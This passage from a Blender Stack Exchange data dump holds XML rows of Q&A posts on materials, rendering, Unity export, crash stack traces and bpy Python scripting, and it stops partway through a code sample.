  <row Id="6443" PostTypeId="2" ParentId="6442" CreationDate="2014-01-21T20:09:39.227" Score="6" Body="&lt;p&gt;The closest thing blender has to your example is a great add on called molecular.&#xA;You can watch the demos on &lt;a href=&quot;http://www.youtube.com/watch?v=UYmaeB6qDtM&amp;amp;feature=share&amp;amp;list=UUOYI8zzas03JA9-Bc_NfbBQ&amp;amp;index=2&quot;&gt;youtube&lt;/a&gt; to get a feel for what this add on can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pyroevil.com/molecular-script-download/&quot;&gt;molecular download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation for molecular is on the same site.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-01-21T20:09:39.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6444" PostTypeId="2" ParentId="6350" CreationDate="2014-01-21T20:35:47.240" Score="2" Body="&lt;p&gt;I would suggest a 2 step process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode select all the faces you want of one color. Then in texture pain mode. click the button in between the layers and the shading mode buttons. Its tool tip says &lt;code&gt;Face selection masking for painting&lt;/code&gt; That will limit the area allowed to be painted, to only what is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then after you have the base colors down. Open the newly painted image in gimp/photoshop and paint in all your shading and details.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-01-21T20:35:47.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6445" PostTypeId="2" ParentId="6432" CreationDate="2014-01-21T21:03:38.920" Score="1" Body="&lt;p&gt;From the problem you described. I have a few suggestions.&#xA;To &quot;apply the scale but keep it as it is&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your duplicated eye. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; then apply &quot;&lt;em&gt;Rotation &amp;amp; Scale&lt;/em&gt;&quot;. The reason for rotation is because scale would not make it flip, but rotation might.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-07-20T18:12:05.723" LastActivityDate="2015-07-20T18:12:05.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6446" PostTypeId="1" AcceptedAnswerId="6447" CreationDate="2014-01-21T21:12:47.210" Score="16" ViewCount="2138" Body="&lt;p&gt;Is there any way to make a material work in cycles and the blender internal?&lt;br&gt;&#xA;I'm looking for a way to have only one material in the material slot, but a different material for cycles and blender internal.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-12-15T16:13:17.170" LastActivityDate="2014-12-15T16:13:17.170" Title="Is there a way to have one material for cycles and the BI" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6447" PostTypeId="2" ParentId="6446" CreationDate="2014-01-21T21:22:58.647" Score="12" Body="&lt;h1&gt;Without material nodes&lt;/h1&gt;&#xA;&lt;p&gt;You can sort of do this by enabling and disabling material nodes. (note that you cannot use material nodes in your BI material with this approach)&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a BI material:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZTKdM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to cycles and enable material nodes:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/25gp3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a cycles material:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vNCZK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to BI and disable nodes:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cXd2G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Your original BI material will appear unchanged.&lt;/p&gt;&#xA;&lt;h1&gt;With material nodes:&lt;/h1&gt;&#xA;&lt;p&gt;If you do need material nodes for your BI material, then you will have to create both the cycles material nodes and the BI material nodes in the same node tree:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OQSv1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that you can only add nodes for the render engine that is selected (though I think you can add any node regardless if you add them from python), so you will have to switch the selected render engine back and forth.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-21T23:03:39.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6448" PostTypeId="1" AcceptedAnswerId="6449" CreationDate="2014-01-22T00:43:55.363" Score="2" ViewCount="2117" Body="&lt;p&gt;I'm having a problem when trying to import my character to the Unity Engine. It gives me message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Unable to open Assets/untitled.fbx: Check external application preferences&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please tell my what's wrong and how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the steps from a tutorial I watched: I exported my character as a .fbx file and unchecked &lt;em&gt;Include Default Take&lt;/em&gt;, but it doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="2188" LastEditorUserId="20" LastEditDate="2014-01-22T01:02:05.633" LastActivityDate="2014-01-22T01:02:05.633" Title="Problem when exporting from Blender to Unity 3D?" Tags="&lt;export&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6449" PostTypeId="2" ParentId="6448" CreationDate="2014-01-22T00:59:55.577" Score="3" Body="&lt;p&gt;The Blender exporters sometimes don't work perfectly. However, Unity supports .blend files, so you can simply drag and drop the .blend file into the Unity project.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-22T00:59:55.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6450" PostTypeId="1" CreationDate="2014-01-22T02:22:21.617" Score="8" ViewCount="1756" Body="&lt;p&gt;As we now have volumetrics in cycles, it's possible to render procedural textures in 3D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can render a cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HAjaT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Msux9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, is it possible to generate an actual mesh based on the intensity of a procedural texture? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Simulate particle system being affected by procedural texture&lt;/li&gt;&#xA;&lt;li&gt;Convert particle system to vertices&lt;/li&gt;&#xA;&lt;li&gt;Mesh using the convex hull modifier&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But I failed because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I couldn't get the particles to group convincingly based on the intensity of a texture&lt;/li&gt;&#xA;&lt;li&gt;The result was concave, so the convex hull operator was not useful.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I generate a mesh in this way?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-05T06:40:12.037" Title="Is it possible to convert a procedural texture into actual geometry?" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6451" PostTypeId="1" AcceptedAnswerId="7013" CreationDate="2014-01-22T02:32:06.657" Score="2" ViewCount="716" Body="&lt;p&gt;In other words, is it possible to render an image of a cube like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u8cyP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But make the &quot;spheres&quot; refractive as opposed to scattering volumes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I attempted with this (I did not expect it to succeed): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WVOkO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eOc7Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, there are no surfaces inside the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to render a procedural texture in 3D so that black parts bend or reflect light?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-13T23:40:58.790" Title="Is it possible to render other materials besides volumes using a procidural texture to define &quot;density&quot;?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6452" PostTypeId="1" AcceptedAnswerId="6454" CreationDate="2014-01-22T02:34:52.137" Score="6" ViewCount="3604" Body="&lt;p&gt;I am trying to use the emission shader to make a light, but I realized that it seems to be only shining through to a limited extent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RXAAw.png&quot; alt=&quot;lighthouse with failed shader&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the nodes for the light:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eknPM.png&quot; alt=&quot;light nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the nodes for the glass:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WPpM5.png&quot; alt=&quot;glass nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it so that it illuminates objects on the other side of the glass?&lt;/p&gt;&#xA;" OwnerUserId="1911" LastEditorUserId="599" LastEditDate="2014-01-22T02:52:02.993" LastActivityDate="2017-02-12T02:51:00.003" Title="how can I make an emission shader shine through a transparent material?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6453" PostTypeId="1" CreationDate="2014-01-22T02:39:05.790" Score="5" ViewCount="1005" Body="&lt;p&gt;I would like to render a lengthy video sequence in the VSE faster using network render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works great for 3D animations but I can't get it to work with video sequences. The result is usually a blank screen with audio only. Has it been done before?&lt;/p&gt;&#xA;" OwnerUserId="2220" LastActivityDate="2016-04-01T23:04:53.110" Title="Is it possible to render video sequence animations with network render?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;network&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6454" PostTypeId="2" ParentId="6452" CreationDate="2014-01-22T02:47:54.407" Score="6" Body="&lt;p&gt;Make sure you have &lt;em&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Caustic_%28optics%29&quot; rel=&quot;noreferrer&quot;&gt;caustics&lt;/a&gt;&lt;/em&gt; enabled by unchecking &lt;em&gt;No Caustics&lt;/em&gt; in &lt;em&gt;Render settings &gt; Light Paths&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zhHnf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With caustics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9aK0p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without caustics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GRZam.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-22T02:47:54.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6455" PostTypeId="2" ParentId="6415" CreationDate="2014-01-22T04:51:42.403" Score="11" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; &gt; &lt;strong&gt;Edge&lt;/strong&gt;. Then subdivide as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparison:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tnGwH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-22T05:06:12.727" LastActivityDate="2014-01-22T05:06:12.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6456" PostTypeId="2" ParentId="6450" CreationDate="2014-01-22T07:21:15.350" Score="5" Body="&lt;p&gt;Particle is a nice idea to do this, and it is possible to control the volumetric density by procedual texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iYHNS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26419&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Demo file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As MarcClinton mentioned in comment, a nice addon called &lt;strong&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?284678-MSMesher&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSMesher&lt;/a&gt;&lt;/strong&gt; can be a relatively nice solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9QQVP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result looks similar to metaballs, which means, to generate a sharper shape, further remeshing would be considered.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-05T04:50:55.773" LastActivityDate="2014-02-05T04:50:55.773" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6457" PostTypeId="1" AcceptedAnswerId="6463" CreationDate="2014-01-22T09:47:28.387" Score="2" ViewCount="1839" Body="&lt;p&gt;I recently realized that blender have a &quot;Ruler/Protractor&quot; tool for precise measurements. Is there a way to make those measurements appear on final renders?&#xA;(By the way, is there a way to customize the transparency of those measurement value displays?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for replies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am using cycle for render, but it is fine if I have to use Blender Internal for the measurements to appear)&lt;/p&gt;&#xA;" OwnerUserId="2223" LastEditorUserId="14" LastEditDate="2014-01-22T17:23:37.280" LastActivityDate="2014-01-22T17:23:37.280" Title="Make the &quot;Ruler/Protractor&quot; measurements to appear on renders" Tags="&lt;rendering&gt;&lt;measurement&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6458" PostTypeId="1" CreationDate="2014-01-22T10:02:49.863" Score="2" ViewCount="396" Body="&lt;p&gt;If you have an image in the UV/Image editor window, pressing the &lt;kbd&gt;Home&lt;/kbd&gt; button is for &lt;em&gt;View All&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it put a massive border around the image?&#xA;Every time I press Home I have to zoom back in!&lt;br&gt;&#xA;Zoom extents would be a lot more useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason for this zoomed out border?&lt;/p&gt;&#xA;" OwnerUserId="2224" LastEditorUserId="14" LastEditDate="2014-01-22T17:23:10.183" LastActivityDate="2014-01-22T17:23:10.183" Title="Why does home button in the UV/Image editor zoom out a lot?" Tags="&lt;interface&gt;&lt;image&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6459" PostTypeId="1" AcceptedAnswerId="6465" CreationDate="2014-01-22T10:03:53.747" Score="3" ViewCount="758" Body="&lt;p&gt;I am developing an addon for Blender 2.69, and a specific python library call is causing Blender to crash. I have tried to enclose the call in a try-catch block, but it still crashes. As a result, I can't view the error details in the system console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any way I could print the stack trace to a file before crashing, or any other way I could access this information?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problematic library call is intriguing on its own, and I've posted it as a Stack Overflow question here: &lt;a href=&quot;https://stackoverflow.com/questions/21233946/pil-image-save-function-fails-in-blender-python&quot;&gt;PIL Image.save() function fails in Blender python&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="978" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-01-22T12:58:07.133" Title="Getting a stack trace when addon crashes Blender" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6460" PostTypeId="2" ParentId="6458" CreationDate="2014-01-22T10:05:16.037" Score="2" Body="&lt;p&gt;Aside from centering the image, pressing &lt;kbd&gt;Home&lt;/kbd&gt; sets the zoom level to &lt;code&gt;1:1&lt;/code&gt; or fits the image to the view if it's larger than the &lt;em&gt;UV/Image Editor&lt;/em&gt; window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can press &lt;kbd&gt;Numpad 1&lt;/kbd&gt; to quickly get back to &lt;code&gt;1:1&lt;/code&gt;, or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 2&lt;/kbd&gt; for &lt;code&gt;2:1&lt;/code&gt;, etc. You can see a list of the available aspect ratios and their respective hotkeys in the &lt;em&gt;View&lt;/em&gt; menu on the &lt;em&gt;Header&lt;/em&gt; of the &lt;em&gt;UV/Image Editor&lt;/em&gt; window.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-22T10:15:19.480" LastActivityDate="2014-01-22T10:15:19.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6461" PostTypeId="1" CreationDate="2014-01-22T10:16:40.517" Score="3" ViewCount="401" Body="&lt;p&gt;I have several blend files with models in them.&#xA;Each of these blend files use a common texture.&#xA;Each of the blend files are linked into a Blend file with an environment in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render this environment - is the texture loaded into memory once, or several times?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If im using GPU rendering then the number of textures has to be efficient. If it loads the same texture multiple times I will have to append the objects into the environment rather than link them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Oliver&lt;/p&gt;&#xA;" OwnerUserId="2224" LastActivityDate="2015-03-10T08:33:19.197" Title="Library Linking and textures" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;image&gt;&lt;blend-files&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6463" PostTypeId="2" ParentId="6457" CreationDate="2014-01-22T11:19:34.173" Score="2" Body="&lt;p&gt;A small trick is to temporarily increase the &lt;strong&gt;DPI&lt;/strong&gt; value (located in &lt;strong&gt;User Preferences&lt;/strong&gt; &amp;gt; &lt;strong&gt;System&lt;/strong&gt; (maximum to 144), then maximize the 3D window and capture the screen. (Maximize the desktop resolution before that if possible).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nAp96.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, you are right about the limit of resolution, so this is the last choice, I guess, unless capturing several parts and tiling them manually.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-22T11:25:08.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6464" PostTypeId="1" AcceptedAnswerId="6467" CreationDate="2014-01-22T11:57:05.940" Score="3" ViewCount="537" Body="&lt;p&gt;Can someone tell me why this code doesn't work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use my object &quot;Camera&quot; as a projector in my modifier &quot;UVProject&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.modifier_add(type='UV_PROJECT')&#xA;bpy.context.object.modifiers[&quot;UVProject&quot;].object = &quot;Camera&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="29" LastEditDate="2014-01-22T12:45:41.803" LastActivityDate="2014-01-22T13:37:23.663" Title="Add a modifiers uv project with python" Tags="&lt;python&gt;&lt;modifiers&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6465" PostTypeId="2" ParentId="6459" CreationDate="2014-01-22T12:58:07.133" Score="5" Body="&lt;p&gt;If you really want to invest time to find why it crashes you might be best doing your own debug build of Blender and checking exactly where it crashes in a debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, blender does write a stack trace on exit (on Linux at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try run blender from a terminal and on crash you will get a message like...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Writing: /tmp/blender.crash.txt&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Blender 2.69 (sub 9), Unknown revision&#xA;bpy.data.window_managers[&quot;WinMan&quot;].(null) = 'F8'  # Property&#xA;bpy.data.window_managers[&quot;WinMan&quot;].(null) = 'F8'  # Property&#xA;&#xA;# backtrace&#xA;/src/blender/blender.bin() [0x709cf1]&#xA;/src/blender/blender.bin() [0x709f7a]&#xA;/usr/lib/libc.so.6(+0x353e0) [0x7f617dd343e0]&#xA;/src/blender/blender.bin() [0x141ca0c]&#xA;/src/blender/blender.bin(RNA_property_type+0x27) [0x141d77e]&#xA;/src/blender/blender.bin(RNA_property_collection_begin+0x2f) [0x1424665]&#xA;/src/blender/blender.bin(WM_operator_properties_sanitize+0x55) [0x727453]&#xA;/src/blender/blender.bin() [0x720de3]&#xA;/src/blender/blender.bin(WM_keyconfig_update+0x9f) [0x7240bb]&#xA;/src/blender/blender.bin(wm_event_do_handlers+0xa03) [0x718d6a]&#xA;/src/blender/blender.bin(WM_main+0x33) [0x70da43]&#xA;/src/blender/blender.bin(main+0x44d) [0x70c971]&#xA;/usr/lib/libc.so.6(__libc_start_main+0xf5) [0x7f617dd20b05]&#xA;/src/blender/blender.bin() [0x709009]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could look into Pythons &lt;a href=&quot;http://docs.python.org/dev/library/faulthandler&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;faulthandler&lt;/code&gt;&lt;/a&gt; module, which can catch segfaults and report information about this too.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-22T12:58:07.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6466" PostTypeId="2" ParentId="6458" CreationDate="2014-01-22T13:26:01.803" Score="3" Body="&lt;p&gt;As far as I remember, it snaps to the same zoom ratios as you use the numpad for (1:1, 1:2, 1:4, 1:8...). This is probably to avoid any scaling artifacts since the Image Editor does not filter the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to view the image fit to the borders better, try pressing &lt;kbd&gt;F&lt;/kbd&gt;. However this will not set it to 1:1 if the image is smaller than the region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I think there could be some more consistency in this regard, keeping the same hotkeys throughout editors would be nice.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-01-22T13:26:01.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6467" PostTypeId="2" ParentId="6464" CreationDate="2014-01-22T13:30:22.917" Score="3" Body="&lt;p&gt;The value you are trying to set is a collection so you have to choose an index as you can have several projectors, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.modifier_add(type='UV_PROJECT')&#xA;bpy.context.object.modifiers[&quot;UVProject&quot;].projectors[0].object = bpy.data.objects[&quot;Camera&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.UVProjectModifier.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.types.UVProjectModifier&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-01-22T13:37:23.663" LastActivityDate="2014-01-22T13:37:23.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6468" PostTypeId="2" ParentId="6453" CreationDate="2014-01-22T13:44:16.757" Score="3" Body="&lt;p&gt;a possible workaround would be use dropbox or have the source .blend on the network file servers. Open on different machines and use the Star Frame: &amp;amp; Frame Skip: settings in render panel.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Computer#1: Star Frame 1: &amp;amp; Frame Skip: 5 &lt;/li&gt;&#xA;&lt;li&gt;Computer#2: Star Frame 2: &amp;amp; Frame Skip: 5&lt;/li&gt;&#xA;&lt;li&gt;Computer#3: Star Frame 3: &amp;amp; Frame Skip: 5 &lt;/li&gt;&#xA;&lt;li&gt;Computer#4: Star Frame 4: &amp;amp; Frame Skip: 5 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and so on, thats just a workaround, cannot find a addon for this either. &lt;/p&gt;&#xA;" OwnerUserId="755" LastActivityDate="2014-01-22T13:44:16.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6469" PostTypeId="1" AcceptedAnswerId="6510" CreationDate="2014-01-22T14:45:56.000" Score="2" ViewCount="936" Body="&lt;p&gt;I am currently developing a script that I hope will streamline the approach of adding keyframes to existing actions used by action constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing this by allowing the user to move an object to a new position, run an operator which will find the action attached to the action constraint for the selected object, load said action onto the object, insert a new keyframe into the action, before removing the action again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows the user to add a new keyframe to the action without having to go through the process of loading and unloading the action manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the action constraint seems to be adding any movement the user has made to the object and adding the action &lt;em&gt;on top&lt;/em&gt;, creating an offset effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The annoying thing is that this code &lt;em&gt;does&lt;/em&gt; work when entered line by line via the python console, but when run as a whole from the text editor I get the offset problem shown below (after having moved the object and controller 1 unit on the x axis and then running the script):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HOGST.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Relationship/Action&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki&lt;/a&gt; explains that this is expected: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When the linked action affects some location properties, the owner’s existing location is added to the result of evaluating this constraint....&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My existing (and simplified) code is below, hopefully the comments explain the steps, for test purposes it is presumed that the original x location is 0 and that the first keyframe is frame 1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy;&#xA;currentFrame = bpy.context.scene.frame_current;&#xA;object = bpy.data.objects['Cube'];&#xA;constraint = object.constraints[0];   &#xA;&#xA;currentLocation = object.location.copy();             #Store current position&#xA;object.location[0] = 0;                               #Undo movement                &#xA;object.animation_data.action = constraint.action;     #Assign 